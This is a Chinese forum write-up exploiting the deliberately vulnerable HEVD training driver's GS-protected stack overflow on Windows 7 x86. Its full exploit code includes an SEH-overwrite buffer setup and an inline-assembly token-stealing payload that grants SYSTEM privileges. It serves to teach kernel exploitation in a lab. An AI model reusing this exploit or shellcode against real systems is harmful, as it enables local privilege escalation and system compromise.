其他
内核漏洞学习-HEVD-StackOverflowGS
本文为看雪论坛优秀文章
看雪论坛作者ID:pyikaaaa
1
概述
Windows 7 X86 sp1 虚拟机
使用VirtualKD和windbg双机调试
HEVD 3.0+KmdManager+DubugView
2
前置知识
(1)栈中的守护天使:GS
在所有函数调用发生时,向栈帧内压入一个额外的随机 DWORD,随机数标注为“SecurityCookie”。
Security Cookie位于EBP之前,系统还将在.data的内存区域中存放一个Security Cookie的副本,如图:
在Security Check的过程中,系统将比较栈帧中原先存放的Security Co okie和.data中副本的值,如果两者不吻合,说明栈帧中的Security Cookie已被破坏,即栈中发生了溢出。
但是额外的数据和操作带来的直接后果就是系统性能的下降,为了将对性能的影响降到最小,编译器在编译程序的时候并不是对所有的函数都应用GS,以下情况不会应用GS。
通过GS安全编译选项,操作系统能够在运行中有效地检测并阻止绝大多数基于栈溢出的攻击。要想硬对硬地冲击GS机制,是很难成功的。让我们再来看看Security C ookie产生的细节。
修改栈帧中函数返回地址的经典攻击将被GS机制有效遏制;
基于改写函数指针的攻击,GS很难防御;
针对异常处理机制的攻击,GS很难防御;
GS是对栈帧的保护机制,因此很难防御堆溢出的攻击。
(2)攻击SEH绕过GS保护
EXCEPTION_DISPOSITION
__cdecl _except_handler( struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,
struct _CONTEXT *ContextRecord,
void * DispatcherContext);
EBP-00 _ebp
EBP-04 trylevel
EBP-08 scopetable数组指针
EBP-0C handler函数地址
EBP-10指向前一个EXCEPTION_REGISTRATION结构
EBP-14 GetExceptionInformation
EBP-18 栈帧中的标准ESP
3
漏洞点分析
BufferOverflowStackGS开启GS保护。
lm 查看所有已加载模块
lm m H* 设置过滤,查找HEVD模块
lm m HEVD
#define BUFFER_SIZE 512
NTSTATUS
TriggerBufferOverflowStackGS(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)
{
NTSTATUS Status = STATUS_SUCCESS;
UCHAR KernelBuffer[BUFFER_SIZE] = { 0 };
PAGED_CODE();
__try
{
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
#ifdef SECURE
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));//安全版本
#else
DbgPrint("[+] Triggering Buffer Overflow in Stack (GS)\n");
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);//不安全版本,未对size做限制
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
4
漏洞利用
kd>bp HEVD!TriggerBufferOverflowStackGS
kd>g //运行
kd>r //查看寄存器
EBP-00 _ebp
EBP-04 trylevel
EBP-08 scopetable数组指针
EBP-0C handler函数地址
EBP-10指向前一个EXCEPTION_REGISTRATION结构
EBP-14 GetExceptionInformation
EBP-18 栈帧中的标准ESP
DWORD WINAPI StackOverflowGSThread(LPVOID Parameter) {
HANDLE hFile = NULL;
ULONG BytesReturned;
SIZE_T PageSize = 0x1000;
HANDLE Sharedmemory = NULL;
PVOID MemoryAddress = NULL;
PVOID SuitableMemoryForBuffer = NULL;
LPCSTR FileName = (LPCSTR)DEVICE_NAME;
LPVOID SharedMappedMemoryAddress = NULL;
SIZE_T SeHandlerOverwriteOffset = 0x214;
PVOID EopPayload = &TokenStealingPayladGSWin7;
LPCTSTR SharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME;
__try {
// 获得设备句柄
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
hFile = GetDeviceHandle(FileName);
if (hFile == INVALID_HANDLE_VALUE) {
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
}
DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
DEBUG_INFO("\t\t[+] Creating Shared Memory\n");
// Create the shared memory
//CreateFileMapping 用于创建一个文件映射内核对象
Sharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE,
NULL,
PAGE_EXECUTE_READWRITE,
0,
PageSize,
SharedMemoryName);
if (!Sharedmemory) {
DEBUG_ERROR("\t\t\t[-] Failed To Create Shared Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t\t[+] Shared Memory Handle: 0x%p\n", Sharedmemory);
}
DEBUG_INFO("\t\t[+] Mapping Shared Memory To Current Process Space\n");
// Map the shared memory in the process space of this process
//MapViewOfFile 将一个文件映射对象映射到当前应用程序的地址空间
SharedMappedMemoryAddress = MapViewOfFile(Sharedmemory,
FILE_MAP_ALL_ACCESS,
0,
0,
PageSize);
if (!SharedMappedMemoryAddress) {
DEBUG_ERROR("\t\t\t[-] Failed To Map Shared Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t\t[+] Mapped Shared Memory: 0x%p\n", SharedMappedMemoryAddress);
}
SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset));//SeHandlerOverwriteOffset 0x224大小,距离se handle的偏移
DEBUG_INFO("\t\t[+] Suitable Memory For Buffer: 0x%p\n", SuitableMemoryForBuffer);
DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");
RtlFillMemory(SharedMappedMemoryAddress, PageSize, 0x41);//'A'填充
MemoryAddress = (PVOID)((ULONG)SuitableMemoryForBuffer + 0x204);
*(PULONG)MemoryAddress = 0x42424242;
DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Value: 0x%p\n", *(PULONG)MemoryAddress);
DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Address: 0x%p\n", MemoryAddress);
MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4);
*(PULONG)MemoryAddress = 0x43434343;
MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4);
*(PULONG)MemoryAddress = 0x44444444;
DEBUG_INFO("\t\t\t[+] Next SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress);
DEBUG_INFO("\t\t\t[+] Next SE Handler Address: 0x%p\n", MemoryAddress);
MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4);
*(PULONG)MemoryAddress = (ULONG)EopPayload; // EopPayload覆盖SE Handler,SuitableMemoryForBuffer+0x220
DEBUG_INFO("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress);
DEBUG_INFO("\t\t\t[+] SE Handler Address: 0x%p\n", MemoryAddress);
DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow GS\n");
OutputDebugString("****************Kernel Mode****************\n");
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS,
(LPVOID)SuitableMemoryForBuffer,// SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset));//SeHandlerOverwriteOffset 0x224大小,距离se handle的偏移
(DWORD)SeHandlerOverwriteOffset + RAISE_EXCEPTION_IN_KERNEL_MODE,//RAISE_EXCEPTION_IN_KERNEL_MODE 0x4,利用这个多出来的0x4大小,使得驱动访问无效内存,触发异常
NULL,
0,
&BytesReturned,
NULL);
OutputDebugString("****************Kernel Mode****************\n");
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
return EXIT_SUCCESS;
}
DriverEntry
{.......
DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;
........
}
IrpDeviceIoCtlHandler(
_In_ PDEVICE_OBJECT DeviceObject,
_In_ PIRP Irp
)
{
ULONG IoControlCode = 0;
PIO_STACK_LOCATION IrpSp = NULL;
NTSTATUS Status = STATUS_NOT_SUPPORTED;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
IrpSp = IoGetCurrentIrpStackLocation(Irp);
IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
if (IrpSp)
{
switch (IoControlCode)
{
case HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS:
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n");
Status = BufferOverflowStackGSIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n");
break;
}
}
BufferOverflowStackGSIoctlHandler(
_In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
)
{
SIZE_T Size = 0;
PVOID UserBuffer = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
//首先将指定的Method参数设置为METHOD_NEITHER。DeviceI0Control函数中
//往驱动中Input数据:通过I/O堆栈的Parameters.DeviceIoControl.Type3InputBuffer得到DeviceIoControl提供的输入缓冲区地址,Parameters.DeviceIoControl.InputBufferLength得到其长度。
UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
if (UserBuffer)
{
Status = TriggerBufferOverflowStackGS(UserBuffer, Size);
}
return Status;
}
_KPCR
+0x120 PrcbData : _KPRCB
_KPRCB
+0x004 CurrentThread : Ptr32 _KTHREAD,_KTHREAD指针,这个指针指向_KTHREAD结构体
_KTHREAD
+0x040 ApcState : _KAPC_STATE
_KAPC_STATE
+0x010 Process : Ptr32 _KPROCESS,_KPROCESS指针,这个指针指向EPROCESS结构体
_EPROCESS
+0x0b4 UniqueProcessId : Ptr32 Void,当前进程ID,系统进程ID=0x04
+0x0b8 ActiveProcessLinks : _LIST_ENTRY,双向链表,指向下一个进程的ActiveProcessLinks结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程
+0x0f8 Token : _EX_FAST_REF,描述了该进程的安全上下文,同时包含了进程账户相关的身份以及权限
__asm {
pushad ; 保存寄存器
xor eax, eax ;eax置0
mov eax, fs:[eax + KTHREAD_OFFSET] ; 获得当前线程的_KTHREAD结构,KTHREAD_OFFSET=0x124
; FS:[0x124] 是 _KTHREAD结构
mov eax, [eax + EPROCESS_OFFSET] ; 找到_EPROCESS结构, nt!_KTHREAD.ApcState.Process,EPROCESS_OFFSET 0x50
mov ecx, eax ; ecx ,当前进程Eprocess结构体
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink,FLINK_OFFSET=0xb8
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId,PID_OFFSET=0xb4
jne SearchSystemPID ;遍历链表根据PID判断是否为SYSTEM_PID(0x4)
//替换token
mov edx, [eax + TOKEN_OFFSET] ; 获得系统进程token 。TOKEN_OFFSET=0xf8
mov [ecx + TOKEN_OFFSET], edx ; 系统进程token替换当前进程token
; End of Token Stealing Stub
popad ; Restore registers state
; Kernel Recovery Stub
xor eax, eax ; Set NTSTATUS SUCCEESS
add esp, 12 ; Fix the stack
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
}
memset(pMapView, 'a', PAGE_SIZE);
PULONG pOverflowBuffer = (PULONG)((ULONG)pMapView + (PAGE_SIZE - BUFFER_SIZE));// pOverflowBuffer 到被设置为映射内存区的尾部,差BUFFER_SIZE大小
for (ULONG i= 0; i < BUFFER_SIZE; i += 4)
{
*(PULONG)((ULONG)pOverflowBuffer + i) = (ULONG)&payload;
}
ULONG length = 0;
BOOL ret = DeviceIoControl(hDevice,
CASE_ID,
(LPVOID)pOverflowBuffer,
BUFFER_SIZE + MISS_PAGE_SIZE,
//pOverflowBuffer +BUFFER_SIZE + MISS_PAGE_SIZE---》导致驱动访问MISS_PAGE_SIZE大小的无效内存,触发异常
NULL,
0,
&length,
NULL);
5
补丁分析
刚接触内核漏洞,如果有哪写的不对,希望大佬们指出。
看雪ID:pyikaaaa
https://bbs.pediy.com/user-home-921642.htm
# 往期推荐
4.通过PsSetLoadImageNotifyRoutine学习模块监控与反模块监控
球分享
球点赞
球在看
点击“阅读原文”,了解更多!